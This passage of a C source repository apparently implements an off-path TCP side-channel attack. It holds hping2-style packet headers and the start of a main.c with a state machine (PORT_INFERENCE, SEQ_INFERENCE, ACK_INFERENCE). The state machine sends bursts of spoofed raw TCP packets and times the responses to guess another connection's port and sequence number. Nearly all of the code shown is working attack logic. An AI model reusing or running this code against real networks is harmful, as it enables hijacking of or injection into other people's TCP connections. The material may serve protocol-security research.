102 | #ifndef ABS
103 | #define ABS(x) (((x)>0) ? (x) : -(x))
104 | #endif
105 |
106 | /* header size of some physical layer type */
107 | #define PPPHDR_SIZE_LINUX 0
108 | #define PPPHDR_SIZE_FREEBSD 4
109 | #define PPPHDR_SIZE_OPENBSD 4
110 | #define PPPHDR_SIZE_NETBSD 4
111 | #define PPPHDR_SIZE_BSDI 4
112 | #define ETHHDR_SIZE 14
113 | #define LOHDR_SIZE 14
114 | #define WLANHDR_SIZE 14
115 | #define TRHDR_SIZE 20
116 |
117 | /* packet size (physical header size + ip header + tcp header + 0 data bytes) */
118 | #ifndef IP_MAX_SIZE
119 | #define IP_MAX_SIZE 65535
120 | #endif
121 |
122 | /* absolute offsets */
123 | #define ABS_OFFSETIP linkhdr_size
124 | #define ABS_OFFSETTCP ( linkhdr_size + IPHDR_SIZE )
125 | #define ABS_OFFSETICMP ( linkhdr_size + IPHDR_SIZE )
126 | #define ABS_OFFSETUDP ( linkhdr_size + IPHDR_SIZE )
127 |
128 | /* defaults and misc */
129 | #define DEFAULT_SENDINGWAIT 1 /* wait 1 sec. between sending each packets */
130 | #define DEFAULT_DPORT 0 /* default dest. port */
131 | #define DEFAULT_INITSPORT -1 /* default initial source port: -1 means random */
132 | #define DEFAULT_COUNT -1 /* default packets count: -1 means forever */
133 | #define DEFAULT_TTL 64 /* default ip->ttl value */
134 | #define DEFAULT_SRCWINSIZE 512 /* default tcp windows size */
135 | #define DEFAULT_VIRTUAL_MTU 16 /* tiny fragments */
136 | #define DEFAULT_ICMP_TYPE 8 /* echo request */
137 | #define DEFAULT_ICMP_CODE 0 /* icmp-type relative */
138 | #define DEFAULT_ICMP_IP_VERSION 4
139 | #define DEFAULT_ICMP_IP_IHL (IPHDR_SIZE >> 2)
140 | #define DEFAULT_ICMP_IP_TOS 0
141 | #define DEFAULT_ICMP_IP_TOT_LEN 0 /* computed by send_icmp_*() */
142 | #define DEFAULT_ICMP_IP_ID 0 /* rand */
143 | #define DEFAULT_ICMP_CKSUM -1 /* -1 means compute the cksum */
144 | #define DEFAULT_ICMP_IP_PROTOCOL 6 /* TCP */
145 | #define DEFAULT_RAW_IP_PROTOCOL 6 /* TCP */
146 | #define DEFAULT_TRACEROUTE_TTL 1
147 |
148 | #define BIND_NONE 0 /* no bind */
149 | #define BIND_DPORT 1 /* bind destination port */
150 | #define BIND_TTL 2 /* bind ip->ttl */
151 | #define DEFAULT_BIND BIND_DPORT
152 |
153 | /* fragmentation defines */
154 | #define MF ((unsigned short)0x2000) /* more fragments */
155 | #define DF ((unsigned short)0x4000) /* dont fragment */
156 | #define NF ((unsigned short)0x0000) /* no more fragments */
157 |
158 | /* ip options defines */
159 | #define IPOPT_COPY 0x80
160 | #define IPOPT_CLASS_MASK 0x60
161 | #define IPOPT_NUMBER_MASK 0x1f
162 |
163 | #define IPOPT_COPIED(o) ((o)&IPOPT_COPY)
164 | #define IPOPT_CLASS(o) ((o)&IPOPT_CLASS_MASK)
165 | #define IPOPT_NUMBER(o) ((o)&IPOPT_NUMBER_MASK)
166 |
167 | #define IPOPT_CONTROL 0x00
168 | #define IPOPT_RESERVED1 0x20
169 | #define IPOPT_MEASUREMENT 0x40
170 | #define IPOPT_RESERVED2 0x60
171 |
172 | #define IPOPT_END (0 |IPOPT_CONTROL)
173 | #define IPOPT_NOOP (1 |IPOPT_CONTROL)
174 | #define IPOPT_SEC (2 |IPOPT_CONTROL|IPOPT_COPY)
175 | #define IPOPT_LSRR (3 |IPOPT_CONTROL|IPOPT_COPY)
176 | #define IPOPT_TIMESTAMP (4 |IPOPT_MEASUREMENT)
177 | #define IPOPT_RR (7 |IPOPT_CONTROL)
178 | #define IPOPT_SID (8 |IPOPT_CONTROL|IPOPT_COPY)
179 | #define IPOPT_SSRR (9 |IPOPT_CONTROL|IPOPT_COPY)
180 | #define IPOPT_RA (20|IPOPT_CONTROL|IPOPT_COPY)
181 |
182 | #define IPOPT_OPTVAL 0
183 | #define IPOPT_OLEN 1
184 | #define IPOPT_OFFSET 2
185 | #define IPOPT_MINOFF 4
186 | #define MAX_IPOPTLEN 40
187 | #define IPOPT_NOP IPOPT_NOOP
188 | #define IPOPT_EOL IPOPT_END
189 | #define IPOPT_TS IPOPT_TIMESTAMP
190 |
191 | #define IPOPT_TS_TSONLY 0 /* timestamps only */
192 | #define IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */
193 | #define IPOPT_TS_PRESPEC 3 /* specified modules only */
194 |
195 | /* tcp flags */
196 | #ifndef TH_FIN
197 | #define TH_FIN 0x01
198 | #endif
199 | #ifndef TH_SYN
200 | #define TH_SYN 0x02
201 | #endif
202 | #ifndef TH_RST
203 | #define TH_RST 0x04
204 | #endif
205 | #ifndef TH_PUSH
206 | #define TH_PUSH 0x08
207 | #endif
208 | #ifndef TH_ACK
209 | #define TH_ACK 0x10
210 | #endif
211 | #ifndef TH_URG
212 | #define TH_URG 0x20
213 | #endif
214 | #ifndef TH_X
215 | #define TH_X 0x40 /* X tcp flag */
216 | #endif
217 | #ifndef TH_Y
218 | #define TH_Y 0x80 /* Y tcp flag */
219 | #endif
220 |
221 | /* ICMP TYPE */
222 | #define ICMP_ECHOREPLY 0 /* Echo Reply */
223 | #define ICMP_DEST_UNREACH 3 /* Destination Unreachable */
224 | #define ICMP_SOURCE_QUENCH 4 /* Source Quench */
225 | #define ICMP_REDIRECT 5 /* Redirect (change route) */
226 | #define ICMP_ECHO 8 /* Echo Request */
227 | #define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */
228 | #define ICMP_PARAMETERPROB 12 /* Parameter Problem */
229 | #define ICMP_TIMESTAMP 13 /* Timestamp Request */
230 | #define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */
231 | #define ICMP_INFO_REQUEST 15 /* Information Request */
232 | #define ICMP_INFO_REPLY 16 /* Information Reply */
233 | #define ICMP_ADDRESS 17 /* Address Mask Request */
234 | #define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */
235 |
236 | /* Codes for UNREACHABLE */
237 | #define ICMP_NET_UNREACH 0 /* Network Unreachable */
238 | #define ICMP_HOST_UNREACH 1 /* Host Unreachable */
239 | #define ICMP_PROT_UNREACH 2 /* Protocol Unreachable */
240 | #define ICMP_PORT_UNREACH 3 /* Port Unreachable */
241 | #define ICMP_FRAG_NEEDED 4 /* Fragmentation Needed/DF set */
242 | #define ICMP_SR_FAILED 5 /* Source Route failed */
243 | #define ICMP_NET_UNKNOWN 6
244 | #define ICMP_HOST_UNKNOWN 7
245 | #define ICMP_HOST_ISOLATED 8
246 | #define ICMP_NET_ANO 9
247 | #define ICMP_HOST_ANO 10
248 | #define ICMP_NET_UNR_TOS 11
249 | #define ICMP_HOST_UNR_TOS 12
250 | #define ICMP_PKT_FILTERED 13 /* Packet filtered */
251 | #define ICMP_PREC_VIOLATION 14 /* Precedence violation */
252 | #define ICMP_PREC_CUTOFF 15 /* Precedence cut off */
253 | #define NR_ICMP_UNREACH 15 /* instead of hardcoding immediate value */
254 |
255 | /* Codes for REDIRECT */
256 | #define ICMP_REDIR_NET 0 /* Redirect Net */
257 | #define ICMP_REDIR_HOST 1 /* Redirect Host */
258 | #define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */
259 | #define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */
260 |
261 | /* Codes for TIME_EXCEEDED */
262 | #define ICMP_EXC_TTL 0 /* TTL count exceeded */
263 | #define ICMP_EXC_FRAGTIME 1 /* Fragment Reass time exceeded */
264 |
265 | /*
266 | * IP header
267 | */
268 | struct myiphdr {
269 | __u8 ihl:4,
270 | version:4;
271 | __u8 tos;
272 | __u16 tot_len;
273 | __u16 id;
274 | __u16 frag_off;
275 | __u8 ttl;
276 | __u8 protocol;
277 | __u16 check;
278 | __u32 saddr;
279 | __u32 daddr;
280 | };
281 |
282 | /*
283 | * UDP header
284 | */
285 | struct myudphdr {
286 | __u16 uh_sport; /* source port */
287 | __u16 uh_dport; /* destination port */
288 | __u16 uh_ulen; /* udp length */
289 | __u16 uh_sum; /* udp checksum */
290 | };
291 |
292 | /*
293 | * TCP header.
294 | * Per RFC 793, September, 1981.
295 | */
296 | struct mytcphdr {
297 | __u16 th_sport; /* source port */
298 | __u16 th_dport; /* destination port */
299 | __u32 th_seq; /* sequence number */
300 | __u32 th_ack; /* acknowledgement number */
301 | __u8 th_x2:4, /* (unused) */
302 | th_off:4; /* data offset */
303 | __u8 th_flags;
304 | __u16 th_win; /* window */
305 | __u16 th_sum; /* checksum */
306 | __u16 th_urp; /* urgent pointer */
307 | };
308 |
309 | struct tcphdr_bsd
310 | {
311 | u_int16_t th_sport; /* source port */
312 | u_int16_t th_dport; /* destination port */
313 | u_int32_t th_seq; /* sequence number */
314 | u_int32_t th_ack; /* acknowledgement number */
315 | # if __BYTE_ORDER == __LITTLE_ENDIAN
316 | u_int8_t th_x2:4; /* (unused) */
317 | u_int8_t th_off:4; /* data offset */
318 | # endif
319 | # if __BYTE_ORDER == __BIG_ENDIAN
320 | u_int8_t th_off:4; /* data offset */
321 | u_int8_t th_x2:4; /* (unused) */
322 | # endif
323 | u_int8_t th_flags;
324 | # define TH_FIN 0x01
325 | # define TH_SYN 0x02
326 | # define TH_RST 0x04
327 | # define TH_PUSH 0x08
328 | # define TH_ACK 0x10
329 | # define TH_URG 0x20
330 | u_int16_t th_win; /* window */
331 | u_int16_t th_sum; /* checksum */
332 | u_int16_t th_urp; /* urgent pointer */
333 | };
334 |
335 | struct Options {
336 | uint32_t tstamp;
337 | };
338 |
339 | /*
340 | * ICMP header
341 | */
342 | struct myicmphdr
343 | {
344 | __u8 type;
345 | __u8 code;
346 | __u16 checksum;
347 | union
348 | {
349 | struct
350 | {
351 | __u16 id;
352 | __u16 sequence;
353 | } echo;
354 | __u32 gateway;
355 | } un;
356 | };
357 |
358 | struct icmp_tstamp_data {
359 | __u32 orig;
360 | __u32 recv;
361 | __u32 tran;
362 | };
363 |
364 | /*
365 | * UDP/TCP pseudo header
366 | * for cksum computing
367 | */
368 | struct pseudohdr
369 | {
370 | __u32 saddr;
371 | __u32 daddr;
372 | __u8 zero;
373 | __u8 protocol;
374 | __u16 lenght;
375 | };
376 |
377 | #define PSEUDOHDR_SIZE sizeof(struct pseudohdr)
378 |
379 | /*
380 | * hping replies delay table
381 | */
382 | struct delaytable_element {
383 | int seq;
384 | int src;
385 | time_t sec;
386 | time_t usec;
387 | int status;
388 | };
389 |
390 | extern volatile struct delaytable_element delaytable[TABLESIZE];
391 |
392 | /* protos */
393 | void nop(void); /* nop */
394 | int parse_options(int, char**); /* option parser */
395 | int get_if_name(void); /* get interface (see source) */
396 | int get_linkhdr_size(char*); /* get link layer hdr size */
397 | int open_sockpacket(int); /* open SOCK_PACKET socket */
398 | int close_sockpacket(int); /* close SOCK_PACKET socket */
399 | int open_sockraw(void); /* open raw socket */
400 | void send_packet (int signal_id);
401 | void send_rawip (void);
402 | // void send_tcp(int sport, int dport, int id, int ttl, int count, const u_char *payload, int payload_size, struct tcphdr_bsd* tcp_in, struct iphdr* ip_in, const char* srcIP, const char* dstIP, unsigned short ip_frag);
403 | void send_tcp(int sport, int dport, int id, int ttl, const u_char *payload, int payload_size,
404 | struct tcphdr_bsd* tcp_in, const char* srcIP, const char* dstIP,
405 | struct Options* opts);
406 | void release_tcp(char* tcp);
407 | char* construct_tcp(int sport, int dport, const u_char *payload, int payload_size,
408 | struct tcphdr_bsd* tcp_in, const char* srcIP, const char* dstIP,
409 | struct Options* opts, int &packet_size);
410 |
411 | void send_tcp(void);
412 | void send_udp(void);
413 | void send_icmp(int opt_icmptype, int opt_icmpcode, char* icmpSrcIP, char* icmpDstIP, int srcPort, int dstPort, char* srcIP, char* dstIP, int ttl);
414 | void send_hcmp(__u8 type, __u32 arg); /* send hcmp packets */
415 | void send_ip (int, int, char*, char*, char*, unsigned int, int, unsigned short,
416 | char*, char);
417 | //void send_ip_handler(char *packet, unsigned int size); /* fragmentation
418 | // handler */
419 | void send_ip_handler(int type, int ttl, char* srcIP, char* dstIP, char *packet, unsigned int size);
420 | //void wait_packet(void); /* handle incoming packets */
421 | long long wait_packet(char* localIP, char* remoteIP, int dst_port);
422 | void print_statistics(int);
423 | void show_usage(void);
424 | void show_version(void);
425 | void resolve(struct sockaddr*, char*); /* resolver */
426 | void log_icmp_unreach(char*, unsigned short);/* ICMP unreachable logger */
427 | void log_icmp_timeexc(char*, unsigned short);/* ICMP time exceeded logger */
428 | time_t get_usec(void); /* return current usec */
429 | time_t get_midnight_ut_ms(void); /* ms from UT midnight */
430 | __u16 cksum(__u16 *buf, int nwords); /* compute 16bit checksum */
431 | void inc_destparm(int sid); /* inc dst port or ttl */
432 | char *get_hostname(char*); /* get host from addr */
433 | void datafiller(char *p, int size); /* fill data from file */
434 | void data_handler(char *data, int data_size);/* handle data filling */
435 | void socket_broadcast(int sd); /* set SO_BROADCAST option */
436 | void socket_iphdrincl(int sd); /* set SO_IPHDRINCL option */
437 | void listenmain(void); /* main for listen mode */
438 | char *memstr(char *haystack, char *needle, int size); /* memstr */
439 | void tos_help(void); /* show the TOS help */
440 | int rtt(int *seqp, int recvport, float *ms_delay); /* compute round trip time */
441 | int relativize_id(int seqnum, int *ip_id); /* compute relative id */
442 | int if_promisc_on(int s); /* promisc. mode ON */
443 | int if_promisc_off(int s); /* promisc. mode OFF */
444 | int open_pcap(void); /* open libpcap socket */
445 | int close_pcap(void); /* close libpcap socket */
446 | int pcap_recv(char *, unsigned int); /* libpcap api wrapper */
447 | int memlock(char *addr, size_t size); /* disable paging */
448 | int memunlock(char *addr, size_t size); /* enable paging */
449 | int memlockall(void); /* disable paging (all pages) */
450 | int memunlockall(void); /* enable paging (all pages) */
451 | unsigned char ip_opt_build(char *ip_opt); /* build ip options */
452 | void display_ipopt(char* buf); /* display ip options */
453 | void icmp_help(void); /* show the ICMP help */
454 | void route_help(void); /* show the route help */
455 | void (*Signal(int signo, void (*func)(int)))(int);
456 | void delaytable_add(int seq, int src, time_t sec, time_t usec, int status);
457 | int read_packet(void *packet, int size);
458 | void scanmain(void);
459 | u_int32_t hp_rand(void);
460 | #if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \
461 | !defined(__bsdi__) && !defined(__APPLE__)
462 | size_t strlcpy(char *dst, const char *src, size_t siz);
463 | #endif
464 |
465 | /* ARS glue */
466 | void hping_ars_send(char *s);
467 |
468 |
469 |
470 |
471 | extern unsigned int
472 | tcp_th_flags,
473 | linkhdr_size,
474 | h_if_mtu,
475 | virtual_mtu,
476 | ip_frag_offset,
477 | signlen,
478 | lsr_length,
479 | ssr_length,
480 | ip_tos,
481 | set_seqnum,
482 | tcp_seqnum,
483 | set_ack,
484 | ip_header_length,
485 | tcp_ack;
486 |
487 | extern unsigned short int
488 | data_size;
489 |
490 | extern int opt_debug,
491 | sockpacket,
492 | sockraw,
493 | sent_pkt,
494 | recv_pkt,
495 | out_of_sequence_pkt,
496 | sending_wait,
497 | opt_rawipmode,
498 | opt_icmpmode,
499 | opt_udpmode,
500 | opt_scanmode,
501 | opt_listenmode,
502 | opt_waitinusec,
503 | opt_numeric,
504 | opt_gethost,
505 | opt_quiet,
506 | opt_relid,
507 | opt_fragment,
508 | opt_df,
509 | opt_mf,
510 | opt_debug,
511 | opt_verbose,
512 | opt_winid_order,
513 | opt_keepstill,
514 | opt_datafromfile,
515 | opt_hexdump,
516 | opt_contdump,
517 | opt_sign,
518 | opt_safe,
519 | opt_end,
520 | opt_traceroute,
521 | opt_seqnum,
522 | opt_incdport,
523 | opt_force_incdport,
524 | opt_icmptype,
525 | opt_icmpcode,
526 | opt_rroute,
527 | opt_tcpexitcode,
528 | opt_badcksum,
529 | opt_tr_keep_ttl,
530 | opt_tcp_timestamp,
531 | opt_tr_stop,
532 | opt_tr_no_rtt,
533 | opt_rand_dest,
534 | opt_rand_source,
535 | opt_lsrr,
536 | opt_ssrr,
537 | tcp_exitcode,
538 | src_ttl,
539 | src_id,
540 | base_dst_port,
541 | dst_port,
542 | src_port,
543 | initsport,
544 | sequence,
545 | src_winsize,
546 | src_thoff,
547 | count,
548 | ctrlzbind,
549 | delaytable_index,
550 | eof_reached,
551 | icmp_ip_version,
552 | icmp_ip_ihl,
553 | icmp_ip_tos,
554 | icmp_ip_tot_len,
555 | icmp_ip_id,
556 | icmp_ip_srcport,
557 | icmp_ip_dstport,
558 | opt_force_icmp,
559 | icmp_ip_protocol,
560 | icmp_cksum,
561 | raw_ip_protocol;
562 |
563 |
564 |
565 |
566 |
567 |
568 |
569 |
570 | #endif /* _HPING2_H */
571 |
--------------------------------------------------------------------------------
/server/src/http.txt:
--------------------------------------------------------------------------------
1 | HTTP/1.1 200 OK
2 | Cache-Control: public, max-age=31536000
3 | Content-Length: 169
4 | Content-Type: text/html
5 |
6 |
7 |
--------------------------------------------------------------------------------
/server/src/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include /* for NF_ACCEPT */
9 | #include
10 | #include
11 | #include
12 |
13 | #include
14 | // #include
15 |
16 | #include "server.h"
17 | #include "hping2.h"
18 | #include "parse.h"
19 | #include "websocket/websocket.h"
20 |
21 | volatile static int ack_nums = 0;
22 | typedef void* (*CallbackType)(void*);
23 | static void (*callback)() = NULL;
24 | static Packet packet, cmd_packet;
25 | static struct tcphdr_bsd tcp, cmd_tcp;
26 | static uint64_t last_time, last_time_after, last_time_diff;
27 | static volatile bool FLAG = true;
28 | static struct Hosts* hosts = NULL;
29 |
30 | #define make_str(pointer, str, len) { \
31 | pointer = (char*) malloc(len+1);\
32 | strncpy(pointer, str, len);\
33 | pointer[len] = '\0';\
34 | }
35 |
36 | #define NONE_INFERENCE 0
37 | #define PORT_INFERENCE 1
38 | #define PORT_COMPARE 2
39 | #define PORT_INFERENCE_STAGE2 3
40 | #define SEQ_INFERENCE 4
41 | #define SEQ_INFERENCE_STAGE2 5
42 | #define SEQ_COMPARE1 6
43 | #define SEQ_COMPARE2 7
44 | #define ACK_INFERENCE 8
45 | #define ACK_INFERENCE_STAGE2 9
46 | #define ACK_INFERENCE_COMPARE 10
47 | #define WARMUP 11
48 | #define MEASURE_RIGHT 12
49 | #define MEASURE_WRONG 13
50 | #define MEASURE_IP 14
51 | #define MEASURE_IP_COMPARE 15
52 |
53 | static int cur_state = NONE_INFERENCE;
54 | static int counter = 0;
55 |
56 | #define TEN_PACKETS 10
57 | #define TOTAL_PACKETS 30
58 | #define TIME_INTERVAL 3000
59 | #define TIMEOUT_INTERVAL 500000
60 | #define CHALLENGE_ACK_INFERENCE 256
61 |
62 | // function
63 | static void all_callback();
64 | static void* idle(void* data);
65 |
66 | //Auto adjustment parameters
67 | static uint64_t SEQ_THRESHOLD = 2500;
68 | static uint64_t SEQ_DIFF_THRESHOLD = 800;
69 | static uint64_t MAX_FULL_LATENCY = 10000;
70 |
71 | //Flags
72 | #ifdef DOUBLE_SEQ
73 | static bool DOUBLE_SEQ_FLAG = true;
74 | #else
75 | static bool DOUBLE_SEQ_FLAG = false;
76 | #endif
77 |
78 | uint64_t rdtsc_nofence() {
79 | uint64_t a, d;
80 | asm volatile ("rdtsc" : "=a" (a), "=d" (d));
81 | a = (d<<32) | a;
82 | return a;
83 | }
84 |
85 | uint64_t microtime() {
86 | struct timeval tv;
87 | gettimeofday(&tv, NULL);
88 | return tv.tv_sec * 1000000 + tv.tv_usec;
89 | }
90 |
91 | uint64_t absolute_value_diff(uint64_t a, uint64_t b) {
92 | if (a > b) return a - b;
93 | else return b - a;
94 | }
95 |
96 | static bool need_resolve(char* host) {
97 | int len = strlen(host);
98 | for (int i = 0; i < len; i++) {
99 | if (host[i] != '.' && (host[i] > 57 || host[i] < 48))
100 | return true;
101 | }
102 | return false;
103 | }
104 |
105 | static uint64_t start_infer, stop_infer;
106 | void signal_handler(int sig) {
107 | stop_infer = microtime();
108 | printf("ip addr: %s\n", packet.dip);
109 | printf("process time: %lu\n", stop_infer - start_infer);
110 | printf("counter: %d\n", counter);
111 | printf("ack_nums: %d\n", ack_nums);
112 | printf("guessed port: %u\n", packet.sport);
113 | printf("guessed seq: %x\n", tcp.th_seq);
114 | printf("SEQ_THRESHOLD: %lu\n", SEQ_THRESHOLD);
115 | printf("SEQ_DIFF_THRESHOLD: %lu\n", SEQ_DIFF_THRESHOLD);
116 | printf("MAX_FULL_LATENCY: %lu\n", MAX_FULL_LATENCY);
117 | if (DOUBLE_SEQ_FLAG)
118 | printf("DOUBLE_SEQ_FLAG: true\n");
119 | websocket_close(Global_websocket_fd);
120 | sleep(1);
121 | // cmd_tcp.th_seq = cmd_packet.seq + 1;
122 | // cmd_tcp.th_ack = cmd_packet.ack + 1;
123 | // send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, (unsigned char*)"s", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL);
124 | exit(0);
125 | }
126 |
127 | void set_timeout(int n) {
128 | struct itimerval timer;
129 | timer.it_value.tv_sec = 0;
130 | timer.it_value.tv_usec = n; //150000;
131 | timer.it_interval.tv_sec = 0;
132 | timer.it_interval.tv_usec = 0;
133 | setitimer(ITIMER_REAL, &timer, NULL);
134 | }
135 |
136 | static void create_thread(CallbackType handler) {
137 | //thread
138 | pthread_attr_t attr;
139 | pthread_t child;
140 |
141 | //start a new thread
142 | pthread_attr_init(&attr);
143 | pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
144 | if (pthread_create(&child, &attr, handler, NULL) != 0) {
145 | printf("thread creation error\n");
146 | }
147 | }
148 |
149 | static void dummy_callback() {
150 | // printf("consume one ack here\n");
151 | }
152 |
153 | static void* close_wrapper(void* data) {
154 | signal_handler(0);
155 | return NULL;
156 | }
157 |
158 | static void closeup() {
159 | printf("closeup\n");
160 | callback = &dummy_callback;
161 | FLAG = false;
162 | create_thread(close_wrapper);
163 | }
164 |
165 | static char *start, *end, *infer;
166 | static int start_size, end_size, frame_size;
167 |
168 | static uint64_t port_infer(Packet* packet, struct tcphdr_bsd* tcp) {
169 | int i, packet_size;
170 | tcp->th_flags = TH_PUSH | TH_ACK;
171 | char* payload = construct_tcp(packet->dport, packet->sport,
172 | (unsigned char*)infer, frame_size, tcp,
173 | packet->dip, packet->sip, NULL, packet_size);
174 |
175 | if (Global_websocket_fd != -1) { //socket for communication
176 |
177 | set_timeout(TIMEOUT_INTERVAL);
178 | last_time = microtime();
179 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, (unsigned char*)"s", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL);
180 |
181 | for (i = 0; i < TOTAL_PACKETS; i++) {
182 | send_ip_handler(0, 64, packet->dip, packet->sip, payload, packet_size);
183 | }
184 |
185 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64,(unsigned char*)"e", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL);
186 | last_time_after = microtime();
187 | }
188 | release_tcp(payload);
189 | return 0;
190 | }
191 |
192 | static uint64_t seq_infer(Packet* packet, struct tcphdr_bsd* tcp, const int n) {
193 | int i, packet_size;
194 |
195 | char* payload = construct_tcp(packet->dport, packet->sport,
196 | /*(unsigned char*)infer, frame_size,*/
197 | NULL, 0,
198 | tcp, packet->dip, packet->sip, NULL, packet_size);
199 |
200 | set_timeout(TIMEOUT_INTERVAL);
201 | if (Global_websocket_fd != -1) { //socket for communication
202 | last_time = microtime();
203 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, (unsigned char*)"s", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL);
204 |
205 | for (i = 0; i < n; i++) {
206 | send_ip_handler(0, 64, packet->dip, packet->sip, payload, packet_size);
207 | }
208 |
209 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64,(unsigned char*)"e", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL);
210 | last_time_after = microtime();
211 | }
212 | release_tcp(payload);
213 | return 0;
214 | }
215 |
216 | // send spoofed packets with in-window sequence number for our own connection
217 | static uint64_t seq_infer_own(const int n) {
218 | int i, packet_size;
219 |
220 | cmd_tcp.th_seq = cmd_packet.ack + 10;
221 | char* payload = construct_tcp(cmd_packet.dport, cmd_packet.sport,
222 | /*(unsigned char*)infer, frame_size,*/
223 | NULL, 0,
224 | &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL, packet_size);
225 |
226 | cmd_tcp.th_seq = 0;
227 |
228 | set_timeout(TIMEOUT_INTERVAL);
229 | if (Global_websocket_fd != -1) { //socket for communication
230 | last_time = microtime();
231 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, (unsigned char*)"s", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL);
232 |
233 | for (i = 0; i < n; i++) {
234 | send_ip_handler(0, 64, cmd_packet.dip, cmd_packet.sip, payload, packet_size);
235 | }
236 |
237 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64,(unsigned char*)"e", 1, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL);
238 | last_time_after = microtime();
239 | }
240 | release_tcp(payload);
241 | return 0;
242 | }
243 |
244 | static uint64_t ack_left = 0, ack_right = 0x100000000, cur_left_ack = 0, cur_right_ack = 0, cur_ack = 0;
245 |
246 | void* probe(void* data) {
247 | usleep(TIME_INTERVAL);
248 | switch (cur_state) {
249 | case MEASURE_RIGHT:
250 | seq_infer_own(TOTAL_PACKETS);
251 | break;
252 | case MEASURE_WRONG:
253 | case SEQ_INFERENCE:
254 | case SEQ_INFERENCE_STAGE2:
255 | case SEQ_COMPARE1:
256 | case SEQ_COMPARE2:
257 | seq_infer(&packet, &tcp, TOTAL_PACKETS);
258 | break;
259 | case WARMUP:
260 | case MEASURE_IP:
261 | case MEASURE_IP_COMPARE:
262 | port_infer(&packet, &tcp);
263 | break;
264 | default:
265 | break;
266 | }
267 | return NULL;
268 | }
269 |
270 | void timeout_handler(int sig) {
271 | printf("timeout!!! %d\n", sig);
272 | if (cur_state == WARMUP) {
273 | counter = counter & ~1;
274 | } else {
275 | counter = 0;
276 | }
277 |
278 | if (sig == 2 || sig == 14) { //you have to warm up
279 |
280 | FLAG = false;
281 | callback = &dummy_callback;
282 | create_thread(idle);
283 | if (sig == 14)
284 | signal(SIGALRM, timeout_handler);
285 | return;
286 | }
287 |
288 | create_thread(probe);
289 | }
290 |
291 | static inline uint64_t minimal(uint64_t* array, int left, int right, int strip) { //[left, right)
292 | int i;
293 | uint64_t min_num = -1U;
294 | for (i = left; i < right; i+=strip) {
295 | if (array[i] < min_num)
296 | min_num = array[i];
297 | }
298 | return min_num;
299 | }
300 |
301 | #define ACK_WINDOW 140000
302 |
303 | void* keep_router_busy(void* data) {
304 | for (int i = 0; i < 10; i++) {
305 | for (int j = 0; j < 10; j++)
306 | send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, NULL, 0, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL);
307 | usleep(10000);
308 | }
309 | return NULL;
310 | }
311 |
312 | #define ACK_MAX_LATENCY 20000
313 | #define ACK_DIFF_THRESHOLD 500
314 | #define ACK_THRESHOLD 1500
315 |
316 | #define SEQ_WINDOW 800000
317 | #define SEQ_MAX_LATENCY 10000
318 |
319 | static uint64_t seq_left = 0, seq_right = 0x100000000, cur_seq = 0;
320 | static uint64_t cur_window = SEQ_WINDOW;
321 | static uint64_t initial_window = SEQ_WINDOW;
322 |
323 | static void restart_seq() {
324 | // tcp.th_seq = seq_right;
325 | if (initial_window != cur_window)
326 | tcp.th_seq -= initial_window;
327 | if (tcp.th_seq % cur_window == 0)
328 | tcp.th_seq = (tcp.th_seq / cur_window) * cur_window;
329 | else
330 | tcp.th_seq = (tcp.th_seq / cur_window) * cur_window + cur_window;
331 | if (initial_window != cur_window)
332 | tcp.th_seq += initial_window;
333 |
334 | cur_seq = tcp.th_seq;
335 |
336 | seq_left = 0;
337 | seq_right = 0x100000000;
338 | cur_state = SEQ_INFERENCE;
339 | tcp.th_ack = 0;
340 | create_thread(probe);
341 | }
342 |
343 | static bool handle_seq(uint64_t delay, uint64_t diff) {
344 | static int /*dynamic_balance_diff = 0, */dynamic_balance_delay = 0;
345 | if ((SEQ_DIFF_THRESHOLD != -1 && diff <= SEQ_DIFF_THRESHOLD )
346 | || (SEQ_THRESHOLD != -1 && delay <= SEQ_THRESHOLD)) {
347 | printf("get it %x\n", tcp.th_seq);
348 | if (SEQ_THRESHOLD != -1 && delay <= SEQ_THRESHOLD) {
349 | dynamic_balance_delay++;
350 | }
351 | if (dynamic_balance_delay > 100) {
352 | if (SEQ_THRESHOLD < 50) {
353 | SEQ_THRESHOLD = -1;
354 | } else {
355 | SEQ_THRESHOLD -= 50;
356 | printf("change SEQ_THRESHOLD to: %lu\n", SEQ_THRESHOLD);
357 | }
358 | dynamic_balance_delay = 0;
359 | }
360 |
361 | return true;
362 | } else {
363 | if (dynamic_balance_delay > 1)
364 | dynamic_balance_delay -= 1;
365 |
366 | if (DOUBLE_SEQ_FLAG) {
367 | if (tcp.th_ack == 0) {
368 | tcp.th_ack = 0x80000000;
369 | } else {
370 | cur_seq += cur_window;
371 | tcp.th_seq = cur_seq;
372 | tcp.th_ack = 0;
373 | }
374 | } else {
375 | cur_seq += cur_window;
376 | tcp.th_seq = cur_seq;
377 | }
378 | #ifdef DEBUG
379 | printf("%lx %x\n", cur_seq, tcp.th_ack);
380 | #endif
381 | return false;
382 | }
383 | }
384 |
385 | #define NUM_OF_REQUEST 150
386 | #define OFFSET_PADDING 50
387 | static int padding = 300;
